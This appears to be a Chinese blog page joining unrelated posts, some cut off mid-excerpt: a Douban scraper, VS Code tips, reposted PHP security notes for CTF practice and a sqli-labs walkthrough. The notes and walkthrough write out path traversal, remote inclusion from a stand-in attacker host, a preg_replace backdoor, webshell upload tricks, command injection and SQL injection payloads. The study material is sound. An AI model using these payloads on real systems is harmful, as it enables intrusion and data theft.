找大佬的博客
一般而言,大多数人的各个平台的ID基本上都是一样的。所以首先来到大佬的QQ界面,发现他的昵称,然后直接在百度上面搜索发现Gitee账号,但是这个风格显然与大佬的不同,pass掉!
Normally Insane
摘要: 随着网络的普及,越来越多的人享受着徜徉在虚拟世界的快感,基于传播技术原理、传播背景、心理因素、社会因素等形成的网络舆论应运而生,逐渐演化为一种暴力事件,对道德约束、法律控制、舆论导向造成了很大的挑战。解决这些问题单凭公民自我道德的软约束,很难得到控制,因此加强网络舆论安全法律法规,构建完备的安全监管及联动应急机制,提升当事人的自我防范意识等措施变得尤为重要。
关键词: 网络暴力,法律法规,道德文化,规范治理
一、计算机网络概念、分类
计算机网络是将地理位置不同的具有独立功能的多台计算机及其外部设备,通过通信线路连接,在网络操作系统,网络管理软件及网络通信协议管理和协调下,实现资源共享和信息传递的计算机系统。
按照网络的作用范围进行分类:
我一直是不追电视剧的,一方面觉得剧集太多了没有那么多的时间去消耗,另一方面就是好的电视剧是真的没有几部(贼讨厌古装)。期末考试那段时间,看到微博、朋友圈刷爆了《隐秘的角落》,觉得那些出圈的梗 “我们一起去爬山”,“我还有机会吗”也不过如此。前几天有点无聊,然后打开视频软件,直接热度第一的就是《隐秘的角落》,本来只打算看个开头。哎呀,真香!我竟然一晚上就看了8集。直至现在,我不仅看完了电视剧,就连B站上面的细节解析、幕后花絮都刷了很多。不得不承认,是真的好看!好看的程度体现在了秦昊成为了我现阶段的男神。那么是什么原因导致这部剧能够大火呢,数据不会说谎!
利用 requests + xpath
爬取豆瓣评价。
1 | # 爬取页面 url |
1 | # 解析页面 |
获得多页评论
观察url地址 page_url = 'https://movie.douban.com/subject/33404425/comments?start=20&limit=20&sort=new_score&status=P'
可以发现,下一页的地址start值是上一页值增加20的结果,其余都不发生变化。
1 | # 页面url |
将得到的数据表格化处理并保存
DataFrame是Python中Pandas库中的一种数据结构,它类似excel,是一种二维表。DataFrame的单元格可以存放数值、字符串等,这和excel表很像,同时DataFrame可以设置列名columns与行名index
1 | name = ['用户', '评论内容'] |
点击获取 代码
解析数据
打开上面保存的文件,将评论内容保存在content里面
1 | with codecs.open(r'./comment_content.cvs', 'r', 'utf-8') as csvfile: |
分析数据
利用jieba库切词,去掉停用的词并统计词频,降序排列
1 | # 切词,用jieba库 |
stopwords.txt 文件下载:http://www.datasoldier.net/archives/636
数据可视化
生成词云,取词频最高的前1000个词
1 | # 做词云 |
词云展示
背景图片是张朝阳哦!
参考链接:https://www.cnblogs.com/ctsch/p/8590551.html
点击获取 代码
通过生成的词云不难看出剧中演员的塑造能力,剧情的逻辑性和节奏性,故事的细节处理和镜头的质感都是这部国产悬疑改编网剧能够吸引人眼球的原因。当然也期待未来能有更多的好剧出现在大众视野。再次表白我男神秦昊,演技顶呱呱!
完整内容github获取:https://github.com/lemon-l/spider/tree/master/Douban%20comments
众所周知,vscode是一款游戏软件,音视频播放器,文件图片查看器,流程图绘制工具,你甚至可以用它来写代码。这里主要分享一些vscode实用的小插件和简单操作。
会持续分享哦!!!
在全部作用域中始终可用的内置变量
1 | $GLOBALS // 引用全局作用域中可用的全部变量 |
可变变量是 php 独有的特性,可变变量指的是变量名可变,将一个普通变量的值作为可变变量的变量名,而变量(即普通变量)指的是变量值可变。
1 | $a="hello"; |
PHP 支持一个错误控制运算符:@。当将其放置在一个PHP 表达式之前,该表达式可能产生的任何错误信息都被忽略掉。
定义数组的方法
1 | $a = array( |
双引号解析变量,单引号不解析变量
1 | $str='hello'; |
当定义一个变量,如果没有设置值,默认为0
print_r,显示关于一个变量的易于理解的信息。如果给出的是 string、integer 或 float,将打印变量值本身。如果给出的是 array,将会按照一定格式显示键和元素。object 与数组类似。
var_dump,返回变量的数据类型和值
1 | echo 'aaa'; |
列出目录
1 | scandir('/site') |
输出文件内容
1 | show_source('flag.php'); |
读取文件内容
1 | file_get_contents('flag.php'); |
1 | http://www.example.com/web/false.php?name[]=a&password[]=b |
如果 GET 参数中设置 name[]=a,那么 $_GET[‘name’] = [a],php 会把 []=a 当成数组传入, $_GET 会自动对参数调用 urldecode。
$_POST 同样存在此漏洞,提交的表单数据,user[]=admin,$_POST[‘user’] 得到的是 [‘admin’] 是一个数组。
strcmp 和 strcasecmp(不区分大小写) 用于比较字符串,返回值如下:
1 | 如果 str1 小于 str2 返回 < 0; |
数组跟字符串比较会返回 0
1 | $array=[1, 2, 3]; |
语法
1 | # raw为可选,规定十六进制或二进制输出格式 |
md5 和 sha1 无法处理数组,但是 php 没有抛出异常,直接返回 fasle
1 | sha1([]) === false |
md5 和 sha1 支持第二个参数,如果为 true,则会将 hash 后的 16 进制字符串以 16 进制转成字符串的形式返回,如果在 SQL 语句中这样写,会存在注入的问题。
提供一个字符串:ffifdyop,md5后,276f722736c95d99e921722cf9ed621c
再转成字符串: ‘or’6
1 | // 可以实现绕过 |
parse_url() 函数可以解析 URL,返回其组成部分,此函数并不意味着给定的 URL 是合法的,它只是将上方列表中的各部分分开。parse_url() 可接受不完整的 URL,并尽量将其解析正确。
1. url解析错误
parse_url在url不能被解析的时候就会返回false。
1 | <?php |
当一个url没有协议的时候,但是给一个端口url的字符串的时候parse_url就会爆错。这个经测试在windows下应该是php版本全通杀的(5.2-7.0),linux没测试过。
1 | /pupiles.com:80 |
只要端口后面跟字母还是会解析,比如
1 | /pupiles.com:80a |
2. 端口解析错误
1 | // php5.5以上这样的url用parse_url解析后预测的结果是 |
然而实际结果是
1 | array(3) { |
会默认解析出一个portkey
3. 路径解析错误
1 | <?php |
输出结果
1 | Array |
4. 端口溢出
在php5.3.13版本以下,当输入如下url
1 | http://pupiles:78325 |
按照正常来说应该会返回false,但是这里会返回
1 | array(3) { |
1 | 1 == '1abc' // true |
1 | '0.999999999999999999999' == 1 |
intval() 在转换的时候,会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串,intval() 不会报错而是返回 0。
1 | var_dump(intval('2')) // 2 |
trim 函数会过滤空格以及 \n\r\t\v\0,但不会过滤过滤\f
1 | $a = " \n\r\t\v\0abc \f"; |
利用 trim 及 is_numeric 等函数实现的绕过
1 | <?php |
PHP提供了is_numeric函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字。
1 | <?php |
is_numeric 检测的时候会自动过滤掉前面的 ‘ ‘, ‘\t’, ‘\n’, ‘\r’, ‘\v’, ‘\f’ 等字符,但是不会过滤 ‘\0’,如果这些字符出现在字符串尾,也不会过滤,二是返回 false
1 | var_dump(is_numeric("\01")); // false |
当 $var 是一个字符串的时候,访问 $var[“any string”] 跟访问 $var[intval(“any string”)] 效果是一样的。如果有变量覆盖,可以实现一些绕过。
1 | $userinfo = 'abcdefg'; |
in_array函数用来判断一个值是否在某一个数组列表里面,通常判断方式如下:
1 | in_array('b', array('a', 'b', 'c'); |
这段代码的作用是过滤 GET 参数 typeid 在不在 1,2,3,4 这个数组里面。但是,in_array 函数存在自动类型转换。如果请求,typeid=1’ union select.. 也能通过 in_array 的验证
1 | if (in_array($_GET('typeid'], array(1, 2, 3, 4))) { |
以下比较的结果都为 true
1 | // 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc |
md5
1 | # 0e 开头,后面全是数字的 |
sha1
1 | 10932435112: 0e07766915004133176347055865026311692244 |
crc32
1 | 6586: 0e817678 |
两个 md5 一样的字符串
1 | from binascii import unhexlify |
另外一组 md5 一样的字符串
1 | from array import array |
magic hash
1 | md2 32 505144726 0e015339760548602306096794382326 WhiteHat Security, Inc. |
0e 开头且后面都是数字会被当作科学计数法,也就是等于 0*10^xxx=0。如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过。
1 | // '0e5093234' 为 0,'0eabc3234' 不为 0 |
如果要找出 0e 开头的 hash 碰撞,可以用如下代码
1 | <?php |
如果 switch 是数字类型的 case 的判断时, switch 会将其中的参数转换为 int类型。
1 | $i ="2abc"; |
这个时候程序输出的是 i is less than 3 but not negative,是由于 switch() 函数将 $i 进行了类型转换,转换结果为 2。
preg_match 函数用于进行正则表达式匹配,返回 pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题
1 | $ip = '1.1.1.1 abcd'; // 可以绕过 |
pre_match 在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,如果传入一个超长的字符串,会导致 pre_match 消耗大量资源从而导致 php 超时,后面的 php 语句就不会执行。payload:
1 | $code="xdsec###AAAAAAAAAAAAAAAAAAA(超多个A)"; |
就是匹配文件名由字母、数字、下划线、破则号、斜杠、空白字符各种组合的并且后缀名是rpt的文件,如果匹配成功,就执行系统命令file打印文件的类型和编码信息,如果匹配失败就打印’regex failed’.
http://10.10.10.141/test/test_rce/4/rce_path.php?path=filed.rpt%0awhoami
如果开启了/m,会存在绕过
1 | <?php |
注意到正则表达式结尾的/m 了,在php中,/m表示开启多行匹配模式,开启多行匹配模式之后^和$的含义就发生了变化,没开启多行模式之前(即单行匹配模式), ^ 和$ 是匹配字符串的开始和结尾,开启多行模式之后,多行模式^,$可以匹配每行的开头和结尾,所以上述payload里面含有换行符,被当做两行处理,一行匹配OK即可,所以进入了exec执行分支,进而导致命令执行。
http://10.10.10.141/test/test_rce/4/rce_path.php?path=filed.rpt%0awhoami
开启/m
1 | ^ 行首 |
不开启/m
1 | ^ 字符串的开始 |
修饰符说明
1 | i 在和正则匹配是不区分大小写 |
正则表达式全局匹配,成功返回整个模式匹配的次数(可能为零),如果出错返回 FALSE
ereg 读到 %00 的时候,就截止了
1 | <?php |
这里 a=abcd%001234,可以绕过
extract() 函数从数组中把变量导入到当前的符号表中。对于数组中的每个元素,键名用于变量名,键值用于变量值。
1 | <?php |
parse_str() 的作用是解析字符串,并注册成变量。与 parse_str() 类似的函数还有 mb_parse_str(),parse_str 将字符串解析成多个变量,如果参数 str 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域。
1 | //var.php?var=new |
如果把变量本身的 key 也当变量,也就是使用了 $$,就可能存在问题。
1 | $_ = '_POST'; |
例子
1 | // http://127.0.0.1/index.php?_CONFIG=123 |
数组类型数据的覆盖
1 | // index.php?_SESSION[userinfo][id]=1&_SESSION[userinfo][username]=admin |
但是如果后面有 session_start() 会重新初始化上面的 $_SESSION 数据,因此又被还原回去。
unset($bar); 用来销毁指定的变量,如果变量 $bar 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过。
特殊的 PHP 代码格式
以这种后缀结尾的 php 文件也能被解析,这是在 fast-cgi 里面配置的
.php2 .php3 .php4 .php5 .php7 .phtml
正则检测文件内容中包含 <? 就异常退出,通常的PHP代码就不行了,可以使用这种方式绕过
1 | # 除了 php 7.0 不允许外,其他都允许 |
如果在 php.ini 文件中配置允许 ASP 风格的标签
1 | ; Allow ASP-style <% %> tags. |
则可以使用该方式
1 | <% echo 'a'; %> |
php.ini 文件中配置 short_open_tag 默认为 Off,如果为 On,则允许这种代码
1 | <? echo base64_encode(file_get_contents('flag.php')); ?> |
效果等于 echo ‘a’;
1 | <?='a';?> |
mt_rand() 函数是一个伪随机发生器,即如果知道随机数种子是可以预测的。
1 | $seed = 12345; |
linux 64 位系统中,rand() 和 mt_rand() 产生的最大随机数都是2147483647,正好是 2^31-1,也就是说随机播种的种子也是在这个范围中的,0 – 2147483647 的这个范围是可以爆破的。
但是用 php 爆破比较慢,有一个 C 的版本,可以根据随机数,爆破出种子 php_mt_seed。
在 php > 4.2.0 的版本中,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已由 PHP 自动完成。php 中产生一系列的随机数时,只进行了一次播种,而不是每次调用 mt_rand() 都进行播种。
rand() 函数在产生随机数的时候没有调用 srand(),则产生的随机数是有规律可询的。具体的说明请看这里。产生的随机数可以用下面这个公式预测:
1 | # 一般预测值可能比实际值要差1 |
可以用下面的代码验证一下
1 | <?php |
PHP unserialize() 后会导致 __wakeup() 或 __destruct() 的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在 __wakeup() 或 __destruct() 中。
PHP 有个 Bug,触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10,该漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过 __wakeup 函数的执行,例如:
1 | <?php |
使用这个 payload 绕过 __wakeup 函数
1 | # O:4:"xctf":1:{s:4:"flag";s:3:"111";} |
在字符串中,前面的数字代表的是后面字符串中字符的个数,如果数字与字符个数不匹配的话,就会报错,因此将1改成2就会产生报错,导致不会去执行 __wakeup 函数,从而绕过该函数。
可以通过将变量的值存储为另外一个变量的地址,类似于 C 语言中的引用。
1 | class just4fun |
以下两个都能够被unserialize反序列化,且结果相同。
1 | O:+4:"test":1:{s:1:"a";s:3:"aaa";} |
不光object类型处理可以多一个’+’,其他类型也可以。但是如果要进一步通过修改变量的个数来绕过 __wakeup,在 php 5.5 环境下可以,php 5.6 环境下反序列化会失败
1 | # php 5.5 环境下可以绕过 __wakeup,php 5.6 环境下反序列化会失败 |
PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:
|处理器|对应的存储格式 |
|–|–|
|PHP | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
|php_binary |键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值|
|php_serialize(php>=5.5.4)| 经过 serialize() 函数反序列处理的数组 |
如果 PHP 在反序列化存储的 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据。
1 | //foo1.php |
当访问 foo1.php 时,提交数据如下:
1 | foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";} |
脚本会按照 php_serialize 处理器的序列化格式存储数据,访问 foo2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 ryat 对象。这个场景的利用需要能够构造 Session 的值,如果没有提供写入 Session 的地方,可以利用 Session Upload Progress。
注意:如果利用这种方式上传了 webshell,读取文件的时候需要使用绝对路径,例如
/opt/lampp/htdocs/index.php
上传文件时,如果 POST 一个名为 PHP_SESSION_UPLOAD_PROGRESS 的变量,就可以将 filename 的值赋值到session 中,filename 的值如果包含双引号,还需要进行转义,上传的页面的写法如下:
1 | <form action="http://example.com/index.php" method="POST" enctype="multipart/form-data"> |
最后 Session 就会保存上传的文件名。如果没有提供写入 Session 的地方,可以用这种方法。POST 请求的数据包:
1 | POST / HTTP/1.1 |
这种 url 很容易就能想到可能是文件包含或者伪协议读取
1 | http://10.2.1.1:20770/index.php?page=upload |
常见的导致文件包含的函数有
当 PHP 包含一个文件时,会将该文件当做 PHP 代码执行,而不会在意文件时什么类型。
本地文件包含,Local File Inclusion,LFI。
1 | <?php |
上述代码存在本地文件包含,可用 %00 截断的方式读取 /etc/passwd 文件内容。
1 | ?file=../../../../../../../../../etc/passwd%00 |
需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效。
1 | ?file=../../../../../../../../../etc/passwd/./././././././././././. |
Linux 需要文件名长于 4096,Windows 需要长于 256。
1 | ?file=../../../../../../../../../boot.ini/……………… |
只适用 Windows,点号需要长于 256。
远程文件包含,Remote File Inclusion,RFI。
1 | <?php |
构造变量 basePath 的值。
1 | /?basePath=http://attacker/phpshell.txt? |
最终的代码执行了
1 | require_once "http://attacker/phpshell.txt?/action/m_share.php"; |
问号后的部分被解释为 URL 的 querystring,这也是一种「截断」。
普通远程文件包含
1 | ?file=[http|https|ftp]://example.com/shell.txt |
assert 函数的参数可以为布尔类型的值,也可以是字符串,当参数为字符串时,会被当作 PHP 代码执行
1 | // 可以执行 php 代码 |
反引号 ` 可以调用 shell_exec 正常执行代码
1 | `$_GET[v]` 相当于 shell_exec($_GET['v']) |
system,exec,shell_exec 的区别
1 | system() |
触发条件:
第一个参数需要e标识符,有了它可以执行第二个参数的命令
第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令,举个例子:
1 | // 这样是可以执行命令的 |
我们可以构造这样的后门代码
1 | @preg_replace("//e", $_GET['h'], "Access Denied"); |
当访问这样这样的链接时就可以被触发
1 | http://localhost:8000/testbug.php?h=phpinfo(); |
可以应用于
读取文件
1 | /lfi.php?file=php://filter/convert.base64-encode/resource=flag.php |
控制文件写入的处理逻辑
1 | <?php |
利用伪协议就可以绕过 php 的 is_file,然后读取文件
1 | $a = '123.php'; |
写入文件, 数据在body那边传过去,可以用GET,也可以用 POST 传过去
1 | /test.php?file=php://input |
将 user 用 body 传过去,注意 body 那边不是表单的形式,是直接把 body 的数据整个提交
1 | GET /?user=php://input HTTP/1.1 |
将 include 的文件流重定向到用户控制的输入流
1 | /test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw== |
可以用于控制 file_get_contents 的内容为用户输入的流
1 | $file=$_GET['file']; |
file_get_contens支持data协议,并且可以指定任意的域名,利用 data://yourname.auu/data/plain;base64,xxx 这样的 payload 绕过 php 的 parse_url 对域名和路径的限制。
发现有一个文件上传功能,无法绕过,仅能上传jpg后缀的文件。与此同时,无法进行文件包含截断。allow_url_include=on 的状态下,就可以考虑phar伪协议绕过。
写一个shell.php文件,里面包含一句话木马。然后,压缩成xxx.zip。然后改名为xxx.jpg进行上传。最后使用phar进行包含
这里的路径为上传的 jpg 文件在服务器的路径
1 | /index.php?id=phar://路径/xxx.jpg/shell |
上述 phar:// 的方法也可以使用 zip://
然后吧1.php文件压缩成zip,再把zip的后缀改为png,上传上去,并且可以获得上传上去的png的地址。
1.zip文件内仅有1.php这个文件
1 | /php?file=zip://1.png%231.php |
1 | # 查看 redis 中的 info 数据 |
1 | /ssrf.php?url=file:///etc/passwd |
eregi() 函数在一个字符串搜索指定的正则表达式的字符串,搜索不区分大小写,区分大小写使用 eregi,如果匹配成功返回 true,否则则返回 false。
1 | $password = "abc"; |
stristr() 函数搜索字符串在另一字符串中的第一次出现。该函数是不区分大小写的。如需进行区分大小写的搜索,请使用 strstr() 函数。
1 | // string,规定被搜索的字符串。 |
iconv 函数用于做编码转换,函数原型
1 | string iconv ( string $in_charset , string $out_charset , string $str ) |
iconv 在字符编码转换时可能导致字符串截断。当$str 中有一个字符不能被目标字符集所表示时,$str 从第一个无效字符开始截断并导致一个 E_NOTICE。 例如:
1 | $d = iconv("UTF-8", "gb2312", $c); |
该代码是将变量 $c 从UTF-8 编码转换为 gb2312。那么当 $c 中存在一个不能被 gb2312 表示的字符时,那么就会截断。
PHP 的字符串向数据库进行写入时,为避免数据库错误,需要对特殊字符进行转义(字符前加上 \)。特殊字符:单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)。
转换字符串中特定的字符,如果 from 和 to 参数的长度不同,则会被格式化为最短的长度。
1 | strtr(string,from,to) |
数组形式的参数
1 | <?php |
格式化字符串
sprintf, 把格式化的字符串写入变量中
vsprintf,与 sprintf 功能相同,但是 vsprintf 中的参数位于数组中
fprintf,把格式化的字符串写入指定的输出流(例如:文件或数据库)
vfprintf,与 fprintf 功能相同,但是 vfprintf 中的参数位于数组中
printf,输出格式化的字符串
vprintf,与 printf 功能相同,但是 vprintf 中的参数位于数组中
1 | $number = 2; |
curl是支持 file://host/path, file://path 这两种形式,但是即使有 host, curl仍然会访问到本地的文件。用 ? 或者 # 可以截断 url 后面拼接的 /, payload: file://www.baidu.com/etc/flag?
1 | $url = $_GET['site']; |
PHP的cURL支持通过给 CURL_POSTFIELDS 传递关联数组(而不是字符串)来生成 multipart/form-data 的POST请求。可以使用“@+文件全路径”的语法附加文件,将会读取该文件内容,并作为POST请求的内容。
注:PHP5.4及以下版本仅支持@语法形式;PHP5.5两种都是支持的,设置 CURL_SAFE_UPLOAD=true 强制使用CURLFile方式;PHP5.6+仅支持CURLFile方式,即使设置CURL_SAFE_UPLOAD=false也是毫无意义的。
1 | http://120.55.42.243:20010/index.php?url=@/opt/api/dnsapi/views.py |
转义 SQL 语句中使用的字符串中的特殊字符,会转义单引号和双引号,下列字符受影响:
1 | \x00 |
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
在默认情况下,mysql字符集为 latin1,而执行了 set names utf8 以后,character_set_client、character_set_connection、character_set_results等与客户端相关的配置字符集都变成了 utf8,但character_set_database、character_set_server 等服务端相关的字符集还是 latin1。
1 | $db = mysql_connect($dbhost, $dbuser, $dbpass); |
character_set_client 和 character_set_connection 被设置成了utf8,而内部操作字符集其实也就是username 字段的字符集还是默认的 latin1。于是整个操作就有如下字符串转换过程:
1 | utf8 --> utf8 --> latin1 |
最后执行比较username=’admin’ 的时候,’admin’ 是一个latin1字符串。Mysql在转换字符集的时候,将不完整的字符给忽略了。
转发自大佬博客:https://www.restran.net/2016/09/26/php-security-notes/
post传输
使用hackbar构建payload,当输入uname=admin&passwd=admin&submit=Submit
时显示:
当输入uname=admin'&passwd=admin&submit=Submit
时显示:
输入uname='or 1=1 #&passwd=admin&submit=Submit
,仍然显示成功
然后按照之前的order by 步骤进行注入,不过注入方式是post。
注意:在进行post注入的时候注释符用的是“#”而不是“–+”,原因是在get中涉及到了转码的问题,在post中使用“–+”是无效的。
与11关基本相同,就是把单引号改为双引号然后加上一个单括号,从而进行注入
模版是uname=" or(此为要构造的) #&passwd=admin&submit=Submit
与11关部分相同,给单引号后面加上一个单括号,从而进行注入。但是发现页面只是单纯回显错误或者成功,所以我们可以采用盲注的方法,按照前面所用的时间盲注的方法进行注入。
可以用burpsuit辅助,速度能相对快一点,至于脚本后面会有所提及。
模版是uname=') or(此为要构造的)#&passwd=admin&submit=Submit
与第13关基本相同。
模版是uname=" or(此为要构造的)#&passwd=admin&submit=Submit
‘ “ ) 1=1
除了注入的位置之外,其它步骤均与上面相同
模版是uname=admin&passwd=' or(此为要构造的) #&submit=Submit
与15关基本相同,只需将单引号变为双引号和单括号
模版是:uname=admin&passwd=") or(此为要构造的) #&submit=Submit
基础知识补充:
1 | updatexml |
这一关要以知道用户名字为前提,然后才能进行后面的操作。
模版为: uname=admin&passwd=' and updatexml(1,concat(0x7e,(要构造的)),1) #&submit=Submit
此时要使用第17关重新设置的密码进行登录,不然会报错。可以通过数据库的命令行,查看admin对应的密码。
这一关用上面的方法是不可能成功的,页面有显示ip地址和user agent,所以猜想与http头部协议有关,burpsuit用起来。 发现可以在user agent处进行注入。' or updatexml(1,concat(0x7e,(要构造的)),1) or '1'='1
' or updatexml(1,concat(0x7e,(要构造的)),1),'','')#
与18关基本相同。登录成功显示referer信息,登录失败没有回显信息。分析后得知,需要进行闭合操作,两种方法:
' or updatexml(1,concat(0x7e,(要构造的)),1) and '1'='1
' or updataxml(1,concat(0x7e,(要构造的)),1),'')#
这一关显示了很多的信息,经发现可以通过注入cookie。
$sql=”select * from users where username=’$cookie’ limit 0,1”;在登陆之后后台会将username放入cookie中。当再次登陆的时候,只要cookie没有过期,就会去cookie里面取值,然后进行查询。
模版为:' union select 1,2,(要构造的) #
与20关基本相似。
模版为:') union select 1,2,(要构造的) #
发现cookie处的username是一串base64编码的字符串。所以需要将mysql注入语句进行base64编码
只需将20关中的单引号改为双引号即可,其余全部相似。
模版为:" union select 1,2,(要构造的) #
然后base64编码。